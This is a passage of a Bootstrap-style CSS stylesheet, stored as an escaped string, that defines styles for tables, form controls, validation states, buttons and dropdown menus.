td.warning,\n.table > tfoot > tr > td.warning,\n.table > thead > tr > th.warning,\n.table > tbody > tr > th.warning,\n.table > tfoot > tr > th.warning,\n.table > thead > tr.warning > td,\n.table > tbody > tr.warning > td,\n.table > tfoot > tr.warning > td,\n.table > thead > tr.warning > th,\n.table > tbody > tr.warning > th,\n.table > tfoot > tr.warning > th {\n background-color: #fcf8e3;\n}\n.table-hover > tbody > tr > td.warning:hover,\n.table-hover > tbody > tr > th.warning:hover,\n.table-hover > tbody > tr.warning:hover > td,\n.table-hover > tbody > tr:hover > .warning,\n.table-hover > tbody > tr.warning:hover > th {\n background-color: #faf2cc;\n}\n.table > thead > tr > td.danger,\n.table > tbody > tr > td.danger,\n.table > tfoot > tr > td.danger,\n.table > thead > tr > th.danger,\n.table > tbody > tr > th.danger,\n.table > tfoot > tr > th.danger,\n.table > thead > tr.danger > td,\n.table > tbody > tr.danger > td,\n.table > tfoot > tr.danger > td,\n.table > thead > tr.danger > th,\n.table > tbody > tr.danger > th,\n.table > tfoot > tr.danger > th {\n background-color: #f2dede;\n}\n.table-hover > tbody > tr > td.danger:hover,\n.table-hover > tbody > tr > th.danger:hover,\n.table-hover > tbody > tr.danger:hover > td,\n.table-hover > tbody > tr:hover > .danger,\n.table-hover > tbody > tr.danger:hover > th {\n background-color: #ebcccc;\n}\n.table-responsive {\n overflow-x: auto;\n min-height: 0.01%;\n}\n@media screen and (max-width: 767px) {\n .table-responsive {\n width: 100%;\n margin-bottom: 15px;\n overflow-y: hidden;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n border: 1px solid #ddd;\n }\n .table-responsive > .table {\n margin-bottom: 0;\n }\n .table-responsive > .table > thead > tr > th,\n .table-responsive > .table > tbody > tr > th,\n .table-responsive > .table > tfoot > tr > th,\n .table-responsive > .table > thead > tr > td,\n .table-responsive > .table > tbody > tr > td,\n .table-responsive > .table > tfoot > tr > td {\n white-space: nowrap;\n }\n .table-responsive > .table-bordered {\n border: 0;\n }\n .table-responsive > .table-bordered > thead > tr > th:first-child,\n .table-responsive > .table-bordered > tbody > tr > th:first-child,\n .table-responsive > .table-bordered > tfoot > tr > th:first-child,\n .table-responsive > .table-bordered > thead > tr > td:first-child,\n .table-responsive > .table-bordered > tbody > tr > td:first-child,\n .table-responsive > .table-bordered > tfoot > tr > td:first-child {\n border-left: 0;\n }\n .table-responsive > .table-bordered > thead > tr > th:last-child,\n .table-responsive > .table-bordered > tbody > tr > th:last-child,\n .table-responsive > .table-bordered > tfoot > tr > th:last-child,\n .table-responsive > .table-bordered > thead > tr > td:last-child,\n .table-responsive > .table-bordered > tbody > tr > td:last-child,\n .table-responsive > .table-bordered > tfoot > tr > td:last-child {\n border-right: 0;\n }\n .table-responsive > .table-bordered > tbody > tr:last-child > th,\n .table-responsive > .table-bordered > tfoot > tr:last-child > th,\n .table-responsive > .table-bordered > tbody > tr:last-child > td,\n .table-responsive > .table-bordered > tfoot > tr:last-child > td {\n border-bottom: 0;\n }\n}\nfieldset {\n padding: 0;\n margin: 0;\n border: 0;\n min-width: 0;\n}\nlegend {\n display: block;\n width: 100%;\n padding: 0;\n margin-bottom: 20px;\n font-size: 21px;\n line-height: inherit;\n color: #333333;\n border: 0;\n border-bottom: 1px solid #e5e5e5;\n}\nlabel {\n display: inline-block;\n max-width: 100%;\n margin-bottom: 5px;\n font-weight: bold;\n}\ninput[type=\"search\"] {\n -webkit-box-sizing: border-box;\n -moz-box-sizing: border-box;\n box-sizing: border-box;\n}\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n margin: 4px 0 0;\n margin-top: 1px \\9;\n line-height: normal;\n}\ninput[type=\"file\"] {\n display: block;\n}\ninput[type=\"range\"] {\n display: block;\n width: 100%;\n}\nselect[multiple],\nselect[size] {\n height: auto;\n}\ninput[type=\"file\"]:focus,\ninput[type=\"radio\"]:focus,\ninput[type=\"checkbox\"]:focus {\n outline: 5px auto -webkit-focus-ring-color;\n outline-offset: -2px;\n}\noutput {\n display: block;\n padding-top: 7px;\n font-size: 14px;\n line-height: 1.42857143;\n color: #555555;\n}\n.form-control {\n display: block;\n width: 100%;\n height: 34px;\n padding: 6px 12px;\n font-size: 14px;\n line-height: 1.42857143;\n color: #555555;\n background-color: #fff;\n background-image: none;\n border: 1px solid #ccc;\n border-radius: 4px;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n -webkit-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n -o-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n}\n.form-control:focus {\n border-color: #66afe9;\n outline: 0;\n -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6);\n box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6);\n}\n.form-control::-moz-placeholder {\n color: #999;\n opacity: 1;\n}\n.form-control:-ms-input-placeholder {\n color: #999;\n}\n.form-control::-webkit-input-placeholder {\n color: #999;\n}\n.form-control::-ms-expand {\n border: 0;\n background-color: transparent;\n}\n.form-control[disabled],\n.form-control[readonly],\nfieldset[disabled] .form-control {\n background-color: #eeeeee;\n opacity: 1;\n}\n.form-control[disabled],\nfieldset[disabled] .form-control {\n cursor: not-allowed;\n}\ntextarea.form-control {\n height: auto;\n}\ninput[type=\"search\"] {\n -webkit-appearance: none;\n}\n@media screen and (-webkit-min-device-pixel-ratio: 0) {\n input[type=\"date\"].form-control,\n input[type=\"time\"].form-control,\n input[type=\"datetime-local\"].form-control,\n input[type=\"month\"].form-control {\n line-height: 34px;\n }\n input[type=\"date\"].input-sm,\n input[type=\"time\"].input-sm,\n input[type=\"datetime-local\"].input-sm,\n input[type=\"month\"].input-sm,\n .input-group-sm input[type=\"date\"],\n .input-group-sm input[type=\"time\"],\n .input-group-sm input[type=\"datetime-local\"],\n .input-group-sm input[type=\"month\"] {\n line-height: 30px;\n }\n input[type=\"date\"].input-lg,\n input[type=\"time\"].input-lg,\n input[type=\"datetime-local\"].input-lg,\n input[type=\"month\"].input-lg,\n .input-group-lg input[type=\"date\"],\n .input-group-lg input[type=\"time\"],\n .input-group-lg input[type=\"datetime-local\"],\n .input-group-lg input[type=\"month\"] {\n line-height: 46px;\n }\n}\n.form-group {\n margin-bottom: 15px;\n}\n.radio,\n.checkbox {\n position: relative;\n display: block;\n margin-top: 10px;\n margin-bottom: 10px;\n}\n.radio label,\n.checkbox label {\n min-height: 20px;\n padding-left: 20px;\n margin-bottom: 0;\n font-weight: normal;\n cursor: pointer;\n}\n.radio input[type=\"radio\"],\n.radio-inline input[type=\"radio\"],\n.checkbox input[type=\"checkbox\"],\n.checkbox-inline input[type=\"checkbox\"] {\n position: absolute;\n margin-left: -20px;\n margin-top: 4px \\9;\n}\n.radio + .radio,\n.checkbox + .checkbox {\n margin-top: -5px;\n}\n.radio-inline,\n.checkbox-inline {\n position: relative;\n display: inline-block;\n padding-left: 20px;\n margin-bottom: 0;\n vertical-align: middle;\n font-weight: normal;\n cursor: pointer;\n}\n.radio-inline + .radio-inline,\n.checkbox-inline + .checkbox-inline {\n margin-top: 0;\n margin-left: 10px;\n}\ninput[type=\"radio\"][disabled],\ninput[type=\"checkbox\"][disabled],\ninput[type=\"radio\"].disabled,\ninput[type=\"checkbox\"].disabled,\nfieldset[disabled] input[type=\"radio\"],\nfieldset[disabled] input[type=\"checkbox\"] {\n cursor: not-allowed;\n}\n.radio-inline.disabled,\n.checkbox-inline.disabled,\nfieldset[disabled] .radio-inline,\nfieldset[disabled] .checkbox-inline {\n cursor: not-allowed;\n}\n.radio.disabled label,\n.checkbox.disabled label,\nfieldset[disabled] .radio label,\nfieldset[disabled] .checkbox label {\n cursor: not-allowed;\n}\n.form-control-static {\n padding-top: 7px;\n padding-bottom: 7px;\n margin-bottom: 0;\n min-height: 34px;\n}\n.form-control-static.input-lg,\n.form-control-static.input-sm {\n padding-left: 0;\n padding-right: 0;\n}\n.input-sm {\n height: 30px;\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\nselect.input-sm {\n height: 30px;\n line-height: 30px;\n}\ntextarea.input-sm,\nselect[multiple].input-sm {\n height: auto;\n}\n.form-group-sm .form-control {\n height: 30px;\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\n.form-group-sm select.form-control {\n height: 30px;\n line-height: 30px;\n}\n.form-group-sm textarea.form-control,\n.form-group-sm select[multiple].form-control {\n height: auto;\n}\n.form-group-sm .form-control-static {\n height: 30px;\n min-height: 32px;\n padding: 6px 10px;\n font-size: 12px;\n line-height: 1.5;\n}\n.input-lg {\n height: 46px;\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\nselect.input-lg {\n height: 46px;\n line-height: 46px;\n}\ntextarea.input-lg,\nselect[multiple].input-lg {\n height: auto;\n}\n.form-group-lg .form-control {\n height: 46px;\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\n.form-group-lg select.form-control {\n height: 46px;\n line-height: 46px;\n}\n.form-group-lg textarea.form-control,\n.form-group-lg select[multiple].form-control {\n height: auto;\n}\n.form-group-lg .form-control-static {\n height: 46px;\n min-height: 38px;\n padding: 11px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n}\n.has-feedback {\n position: relative;\n}\n.has-feedback .form-control {\n padding-right: 42.5px;\n}\n.form-control-feedback {\n position: absolute;\n top: 0;\n right: 0;\n z-index: 2;\n display: block;\n width: 34px;\n height: 34px;\n line-height: 34px;\n text-align: center;\n pointer-events: none;\n}\n.input-lg + .form-control-feedback,\n.input-group-lg + .form-control-feedback,\n.form-group-lg .form-control + .form-control-feedback {\n width: 46px;\n height: 46px;\n line-height: 46px;\n}\n.input-sm + .form-control-feedback,\n.input-group-sm + .form-control-feedback,\n.form-group-sm .form-control + .form-control-feedback {\n width: 30px;\n height: 30px;\n line-height: 30px;\n}\n.has-success .help-block,\n.has-success .control-label,\n.has-success .radio,\n.has-success .checkbox,\n.has-success .radio-inline,\n.has-success .checkbox-inline,\n.has-success.radio label,\n.has-success.checkbox label,\n.has-success.radio-inline label,\n.has-success.checkbox-inline label {\n color: #3c763d;\n}\n.has-success .form-control {\n border-color: #3c763d;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n.has-success .form-control:focus {\n border-color: #2b542c;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #67b168;\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #67b168;\n}\n.has-success .input-group-addon {\n color: #3c763d;\n border-color: #3c763d;\n background-color: #dff0d8;\n}\n.has-success .form-control-feedback {\n color: #3c763d;\n}\n.has-warning .help-block,\n.has-warning .control-label,\n.has-warning .radio,\n.has-warning .checkbox,\n.has-warning .radio-inline,\n.has-warning .checkbox-inline,\n.has-warning.radio label,\n.has-warning.checkbox label,\n.has-warning.radio-inline label,\n.has-warning.checkbox-inline label {\n color: #8a6d3b;\n}\n.has-warning .form-control {\n border-color: #8a6d3b;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n.has-warning .form-control:focus {\n border-color: #66512c;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #c0a16b;\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #c0a16b;\n}\n.has-warning .input-group-addon {\n color: #8a6d3b;\n border-color: #8a6d3b;\n background-color: #fcf8e3;\n}\n.has-warning .form-control-feedback {\n color: #8a6d3b;\n}\n.has-error .help-block,\n.has-error .control-label,\n.has-error .radio,\n.has-error .checkbox,\n.has-error .radio-inline,\n.has-error .checkbox-inline,\n.has-error.radio label,\n.has-error.checkbox label,\n.has-error.radio-inline label,\n.has-error.checkbox-inline label {\n color: #a94442;\n}\n.has-error .form-control {\n border-color: #a94442;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n.has-error .form-control:focus {\n border-color: #843534;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ce8483;\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ce8483;\n}\n.has-error .input-group-addon {\n color: #a94442;\n border-color: #a94442;\n background-color: #f2dede;\n}\n.has-error .form-control-feedback {\n color: #a94442;\n}\n.has-feedback label ~ .form-control-feedback {\n top: 25px;\n}\n.has-feedback label.sr-only ~ .form-control-feedback {\n top: 0;\n}\n.help-block {\n display: block;\n margin-top: 5px;\n margin-bottom: 10px;\n color: #737373;\n}\n@media (min-width: 768px) {\n .form-inline .form-group {\n display: inline-block;\n margin-bottom: 0;\n vertical-align: middle;\n }\n .form-inline .form-control {\n display: inline-block;\n width: auto;\n vertical-align: middle;\n }\n .form-inline .form-control-static {\n display: inline-block;\n }\n .form-inline .input-group {\n display: inline-table;\n vertical-align: middle;\n }\n .form-inline .input-group .input-group-addon,\n .form-inline .input-group .input-group-btn,\n .form-inline .input-group .form-control {\n width: auto;\n }\n .form-inline .input-group > .form-control {\n width: 100%;\n }\n .form-inline .control-label {\n margin-bottom: 0;\n vertical-align: middle;\n }\n .form-inline .radio,\n .form-inline .checkbox {\n display: inline-block;\n margin-top: 0;\n margin-bottom: 0;\n vertical-align: middle;\n }\n .form-inline .radio label,\n .form-inline .checkbox label {\n padding-left: 0;\n }\n .form-inline .radio input[type=\"radio\"],\n .form-inline .checkbox input[type=\"checkbox\"] {\n position: relative;\n margin-left: 0;\n }\n .form-inline .has-feedback .form-control-feedback {\n top: 0;\n }\n}\n.form-horizontal .radio,\n.form-horizontal .checkbox,\n.form-horizontal .radio-inline,\n.form-horizontal .checkbox-inline {\n margin-top: 0;\n margin-bottom: 0;\n padding-top: 7px;\n}\n.form-horizontal .radio,\n.form-horizontal .checkbox {\n min-height: 27px;\n}\n.form-horizontal .form-group {\n margin-left: -15px;\n margin-right: -15px;\n}\n@media (min-width: 768px) {\n .form-horizontal .control-label {\n text-align: right;\n margin-bottom: 0;\n padding-top: 7px;\n }\n}\n.form-horizontal .has-feedback .form-control-feedback {\n right: 15px;\n}\n@media (min-width: 768px) {\n .form-horizontal .form-group-lg .control-label {\n padding-top: 11px;\n font-size: 18px;\n }\n}\n@media (min-width: 768px) {\n .form-horizontal .form-group-sm .control-label {\n padding-top: 6px;\n font-size: 12px;\n }\n}\n.btn {\n display: inline-block;\n margin-bottom: 0;\n font-weight: normal;\n text-align: center;\n vertical-align: middle;\n touch-action: manipulation;\n cursor: pointer;\n background-image: none;\n border: 1px solid transparent;\n white-space: nowrap;\n padding: 6px 12px;\n font-size: 14px;\n line-height: 1.42857143;\n border-radius: 4px;\n -webkit-user-select: none;\n -moz-user-select: none;\n -ms-user-select: none;\n user-select: none;\n}\n.btn:focus,\n.btn:active:focus,\n.btn.active:focus,\n.btn.focus,\n.btn:active.focus,\n.btn.active.focus {\n outline: 5px auto -webkit-focus-ring-color;\n outline-offset: -2px;\n}\n.btn:hover,\n.btn:focus,\n.btn.focus {\n color: #333;\n text-decoration: none;\n}\n.btn:active,\n.btn.active {\n outline: 0;\n background-image: none;\n -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n}\n.btn.disabled,\n.btn[disabled],\nfieldset[disabled] .btn {\n cursor: not-allowed;\n opacity: 0.65;\n filter: alpha(opacity=65);\n -webkit-box-shadow: none;\n box-shadow: none;\n}\na.btn.disabled,\nfieldset[disabled] a.btn {\n pointer-events: none;\n}\n.btn-default {\n color: #333;\n background-color: #fff;\n border-color: #ccc;\n}\n.btn-default:focus,\n.btn-default.focus {\n color: #333;\n background-color: #e6e6e6;\n border-color: #8c8c8c;\n}\n.btn-default:hover {\n color: #333;\n background-color: #e6e6e6;\n border-color: #adadad;\n}\n.btn-default:active,\n.btn-default.active,\n.open > .dropdown-toggle.btn-default {\n color: #333;\n background-color: #e6e6e6;\n border-color: #adadad;\n}\n.btn-default:active:hover,\n.btn-default.active:hover,\n.open > .dropdown-toggle.btn-default:hover,\n.btn-default:active:focus,\n.btn-default.active:focus,\n.open > .dropdown-toggle.btn-default:focus,\n.btn-default:active.focus,\n.btn-default.active.focus,\n.open > .dropdown-toggle.btn-default.focus {\n color: #333;\n background-color: #d4d4d4;\n border-color: #8c8c8c;\n}\n.btn-default:active,\n.btn-default.active,\n.open > .dropdown-toggle.btn-default {\n background-image: none;\n}\n.btn-default.disabled:hover,\n.btn-default[disabled]:hover,\nfieldset[disabled] .btn-default:hover,\n.btn-default.disabled:focus,\n.btn-default[disabled]:focus,\nfieldset[disabled] .btn-default:focus,\n.btn-default.disabled.focus,\n.btn-default[disabled].focus,\nfieldset[disabled] .btn-default.focus {\n background-color: #fff;\n border-color: #ccc;\n}\n.btn-default .badge {\n color: #fff;\n background-color: #333;\n}\n.btn-primary {\n color: #fff;\n background-color: #337ab7;\n border-color: #2e6da4;\n}\n.btn-primary:focus,\n.btn-primary.focus {\n color: #fff;\n background-color: #286090;\n border-color: #122b40;\n}\n.btn-primary:hover {\n color: #fff;\n background-color: #286090;\n border-color: #204d74;\n}\n.btn-primary:active,\n.btn-primary.active,\n.open > .dropdown-toggle.btn-primary {\n color: #fff;\n background-color: #286090;\n border-color: #204d74;\n}\n.btn-primary:active:hover,\n.btn-primary.active:hover,\n.open > .dropdown-toggle.btn-primary:hover,\n.btn-primary:active:focus,\n.btn-primary.active:focus,\n.open > .dropdown-toggle.btn-primary:focus,\n.btn-primary:active.focus,\n.btn-primary.active.focus,\n.open > .dropdown-toggle.btn-primary.focus {\n color: #fff;\n background-color: #204d74;\n border-color: #122b40;\n}\n.btn-primary:active,\n.btn-primary.active,\n.open > .dropdown-toggle.btn-primary {\n background-image: none;\n}\n.btn-primary.disabled:hover,\n.btn-primary[disabled]:hover,\nfieldset[disabled] .btn-primary:hover,\n.btn-primary.disabled:focus,\n.btn-primary[disabled]:focus,\nfieldset[disabled] .btn-primary:focus,\n.btn-primary.disabled.focus,\n.btn-primary[disabled].focus,\nfieldset[disabled] .btn-primary.focus {\n background-color: #337ab7;\n border-color: #2e6da4;\n}\n.btn-primary .badge {\n color: #337ab7;\n background-color: #fff;\n}\n.btn-success {\n color: #fff;\n background-color: #5cb85c;\n border-color: #4cae4c;\n}\n.btn-success:focus,\n.btn-success.focus {\n color: #fff;\n background-color: #449d44;\n border-color: #255625;\n}\n.btn-success:hover {\n color: #fff;\n background-color: #449d44;\n border-color: #398439;\n}\n.btn-success:active,\n.btn-success.active,\n.open > .dropdown-toggle.btn-success {\n color: #fff;\n background-color: #449d44;\n border-color: #398439;\n}\n.btn-success:active:hover,\n.btn-success.active:hover,\n.open > .dropdown-toggle.btn-success:hover,\n.btn-success:active:focus,\n.btn-success.active:focus,\n.open > .dropdown-toggle.btn-success:focus,\n.btn-success:active.focus,\n.btn-success.active.focus,\n.open > .dropdown-toggle.btn-success.focus {\n color: #fff;\n background-color: #398439;\n border-color: #255625;\n}\n.btn-success:active,\n.btn-success.active,\n.open > .dropdown-toggle.btn-success {\n background-image: none;\n}\n.btn-success.disabled:hover,\n.btn-success[disabled]:hover,\nfieldset[disabled] .btn-success:hover,\n.btn-success.disabled:focus,\n.btn-success[disabled]:focus,\nfieldset[disabled] .btn-success:focus,\n.btn-success.disabled.focus,\n.btn-success[disabled].focus,\nfieldset[disabled] .btn-success.focus {\n background-color: #5cb85c;\n border-color: #4cae4c;\n}\n.btn-success .badge {\n color: #5cb85c;\n background-color: #fff;\n}\n.btn-info {\n color: #fff;\n background-color: #5bc0de;\n border-color: #46b8da;\n}\n.btn-info:focus,\n.btn-info.focus {\n color: #fff;\n background-color: #31b0d5;\n border-color: #1b6d85;\n}\n.btn-info:hover {\n color: #fff;\n background-color: #31b0d5;\n border-color: #269abc;\n}\n.btn-info:active,\n.btn-info.active,\n.open > .dropdown-toggle.btn-info {\n color: #fff;\n background-color: #31b0d5;\n border-color: #269abc;\n}\n.btn-info:active:hover,\n.btn-info.active:hover,\n.open > .dropdown-toggle.btn-info:hover,\n.btn-info:active:focus,\n.btn-info.active:focus,\n.open > .dropdown-toggle.btn-info:focus,\n.btn-info:active.focus,\n.btn-info.active.focus,\n.open > .dropdown-toggle.btn-info.focus {\n color: #fff;\n background-color: #269abc;\n border-color: #1b6d85;\n}\n.btn-info:active,\n.btn-info.active,\n.open > .dropdown-toggle.btn-info {\n background-image: none;\n}\n.btn-info.disabled:hover,\n.btn-info[disabled]:hover,\nfieldset[disabled] .btn-info:hover,\n.btn-info.disabled:focus,\n.btn-info[disabled]:focus,\nfieldset[disabled] .btn-info:focus,\n.btn-info.disabled.focus,\n.btn-info[disabled].focus,\nfieldset[disabled] .btn-info.focus {\n background-color: #5bc0de;\n border-color: #46b8da;\n}\n.btn-info .badge {\n color: #5bc0de;\n background-color: #fff;\n}\n.btn-warning {\n color: #fff;\n background-color: #f0ad4e;\n border-color: #eea236;\n}\n.btn-warning:focus,\n.btn-warning.focus {\n color: #fff;\n background-color: #ec971f;\n border-color: #985f0d;\n}\n.btn-warning:hover {\n color: #fff;\n background-color: #ec971f;\n border-color: #d58512;\n}\n.btn-warning:active,\n.btn-warning.active,\n.open > .dropdown-toggle.btn-warning {\n color: #fff;\n background-color: #ec971f;\n border-color: #d58512;\n}\n.btn-warning:active:hover,\n.btn-warning.active:hover,\n.open > .dropdown-toggle.btn-warning:hover,\n.btn-warning:active:focus,\n.btn-warning.active:focus,\n.open > .dropdown-toggle.btn-warning:focus,\n.btn-warning:active.focus,\n.btn-warning.active.focus,\n.open > .dropdown-toggle.btn-warning.focus {\n color: #fff;\n background-color: #d58512;\n border-color: #985f0d;\n}\n.btn-warning:active,\n.btn-warning.active,\n.open > .dropdown-toggle.btn-warning {\n background-image: none;\n}\n.btn-warning.disabled:hover,\n.btn-warning[disabled]:hover,\nfieldset[disabled] .btn-warning:hover,\n.btn-warning.disabled:focus,\n.btn-warning[disabled]:focus,\nfieldset[disabled] .btn-warning:focus,\n.btn-warning.disabled.focus,\n.btn-warning[disabled].focus,\nfieldset[disabled] .btn-warning.focus {\n background-color: #f0ad4e;\n border-color: #eea236;\n}\n.btn-warning .badge {\n color: #f0ad4e;\n background-color: #fff;\n}\n.btn-danger {\n color: #fff;\n background-color: #d9534f;\n border-color: #d43f3a;\n}\n.btn-danger:focus,\n.btn-danger.focus {\n color: #fff;\n background-color: #c9302c;\n border-color: #761c19;\n}\n.btn-danger:hover {\n color: #fff;\n background-color: #c9302c;\n border-color: #ac2925;\n}\n.btn-danger:active,\n.btn-danger.active,\n.open > .dropdown-toggle.btn-danger {\n color: #fff;\n background-color: #c9302c;\n border-color: #ac2925;\n}\n.btn-danger:active:hover,\n.btn-danger.active:hover,\n.open > .dropdown-toggle.btn-danger:hover,\n.btn-danger:active:focus,\n.btn-danger.active:focus,\n.open > .dropdown-toggle.btn-danger:focus,\n.btn-danger:active.focus,\n.btn-danger.active.focus,\n.open > .dropdown-toggle.btn-danger.focus {\n color: #fff;\n background-color: #ac2925;\n border-color: #761c19;\n}\n.btn-danger:active,\n.btn-danger.active,\n.open > .dropdown-toggle.btn-danger {\n background-image: none;\n}\n.btn-danger.disabled:hover,\n.btn-danger[disabled]:hover,\nfieldset[disabled] .btn-danger:hover,\n.btn-danger.disabled:focus,\n.btn-danger[disabled]:focus,\nfieldset[disabled] .btn-danger:focus,\n.btn-danger.disabled.focus,\n.btn-danger[disabled].focus,\nfieldset[disabled] .btn-danger.focus {\n background-color: #d9534f;\n border-color: #d43f3a;\n}\n.btn-danger .badge {\n color: #d9534f;\n background-color: #fff;\n}\n.btn-link {\n color: #337ab7;\n font-weight: normal;\n border-radius: 0;\n}\n.btn-link,\n.btn-link:active,\n.btn-link.active,\n.btn-link[disabled],\nfieldset[disabled] .btn-link {\n background-color: transparent;\n -webkit-box-shadow: none;\n box-shadow: none;\n}\n.btn-link,\n.btn-link:hover,\n.btn-link:focus,\n.btn-link:active {\n border-color: transparent;\n}\n.btn-link:hover,\n.btn-link:focus {\n color: #23527c;\n text-decoration: underline;\n background-color: transparent;\n}\n.btn-link[disabled]:hover,\nfieldset[disabled] .btn-link:hover,\n.btn-link[disabled]:focus,\nfieldset[disabled] .btn-link:focus {\n color: #777777;\n text-decoration: none;\n}\n.btn-lg,\n.btn-group-lg > .btn {\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\n.btn-sm,\n.btn-group-sm > .btn {\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\n.btn-xs,\n.btn-group-xs > .btn {\n padding: 1px 5px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\n.btn-block {\n display: block;\n width: 100%;\n}\n.btn-block + .btn-block {\n margin-top: 5px;\n}\ninput[type=\"submit\"].btn-block,\ninput[type=\"reset\"].btn-block,\ninput[type=\"button\"].btn-block {\n width: 100%;\n}\n.fade {\n opacity: 0;\n -webkit-transition: opacity 0.15s linear;\n -o-transition: opacity 0.15s linear;\n transition: opacity 0.15s linear;\n}\n.fade.in {\n opacity: 1;\n}\n.collapse {\n display: none;\n}\n.collapse.in {\n display: block;\n}\ntr.collapse.in {\n display: table-row;\n}\ntbody.collapse.in {\n display: table-row-group;\n}\n.collapsing {\n position: relative;\n height: 0;\n overflow: hidden;\n -webkit-transition-property: height, visibility;\n transition-property: height, visibility;\n -webkit-transition-duration: 0.35s;\n transition-duration: 0.35s;\n -webkit-transition-timing-function: ease;\n transition-timing-function: ease;\n}\n.caret {\n display: inline-block;\n width: 0;\n height: 0;\n margin-left: 2px;\n vertical-align: middle;\n border-top: 4px dashed;\n border-top: 4px solid \\9;\n border-right: 4px solid transparent;\n border-left: 4px solid transparent;\n}\n.dropup,\n.dropdown {\n position: relative;\n}\n.dropdown-toggle:focus {\n outline: 0;\n}\n.dropdown-menu {\n position: absolute;\n top: 100%;\n left: 0;\n z-index: 1000;\n display: none;\n float: left;\n min-width: 160px;\n padding: 5px 0;\n margin: 2px 0 0;\n list-style: none;\n font-size: 14px;\n text-align: left;\n background-color: #fff;\n border: 1px solid #ccc;\n border: 1px solid rgba(0, 0, 0, 0.15);\n border-radius: 4px;\n -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);\n box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);\n background-clip: padding-box;\n}\n.dropdown-menu.pull-right {\n right: 0;\n left: auto;\n}\n.dropdown-menu .divider {\n height: 1px;\n margin: 9px 0;\n overflow: hidden;\n background-color: #e5e5e5;\n}\n.dropdown-menu > li > a {\n display: block;\n padding: 3px 20px;\n clear: both;\n font-weight: normal;\n line-height: 1.42857143;\n color: #333333;\n white-space: nowrap;\n}\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n text-decoration: none;\n color: #262626;\n background-color: #f5f5f5;\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n color: #fff;\n text-decoration: none;\n outline: 0;\n background-color: #337ab7;\n}\n.dropdown-menu > .disabled > a,\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n color: #777777;\n}\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n text-decoration: none;\n background-color: transparent;\n background-image: none;\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n cursor: not-allowed;\n}\n.open > .dropdown-menu {\n display: block;\n}\n.open > a {\n outline: 0;\n}\n.dropdown-menu-right {\n left: auto;\n right: 0;\n}\n.dropdown-menu-left {\n left: 0;\n right: auto;\n}\n.dropdown-header {\n display: block;\n padding: 3px 20px;\n font-size: 12px;\n line-height: 1.42857143;\n color: #777777;\n white-space: nowrap;\n}\n.dropdown-backdrop {\n position: fixed;\n left: 0;\n right: 0;\n bottom: 0;\n top: 0;\n z-index: 990;\n}\n.pull-right > .dropdown-menu {\n right: 0;\n left: auto;\n}\n.dropup .caret,\n.navbar-fixed-bottom .dropdown .caret {\n border-top: 0;\n border-bottom: 4px dashed;\n border-bottom: 4px solid \\9;\n content: \"\";\n}\n.dropup .dropdown-menu,\n.navbar-fixed-bottom .dropdown .dropdown-menu {\n top: auto;\n bottom: 100%;\n margin-bottom: 2px;\n}\n@media (min-width: 768px) {\n .navbar-right .dropdown-menu {\n left: auto;\n right: 0;\n }\n .navbar-right .dropdown-menu-left {\n left: 0;\n right: auto;\n }\n}\n.btn-group,\n.btn-group-vertical {\n position: relative;\n display: inline-block;\n vertical-align: middle;\n}\n.btn-group > .btn,\n.btn-group-vertical > .btn {\n position: relative;\n float: left;\n}\n.btn-group > .btn:hover,\n.btn-group-vertical > .btn:hover,\n.btn-group > .btn:focus,\n.btn-group-vertical > .btn:focus,\n.btn-group > .btn:active,\n.btn-group-vertical > .btn:active,\n.btn-group > .btn.active,\n.btn-group-vertical > .btn.active {\n z-index: 2;\n}\n.btn-group .btn + .btn,\n.btn-group .btn + .btn-group,\n.btn-group .btn-group + .btn,\n.btn-group .btn-group + .btn-group {\n margin-left: -1px;\n}\n.btn-toolbar {\n margin-left: -5px;\n}\n.btn-toolbar 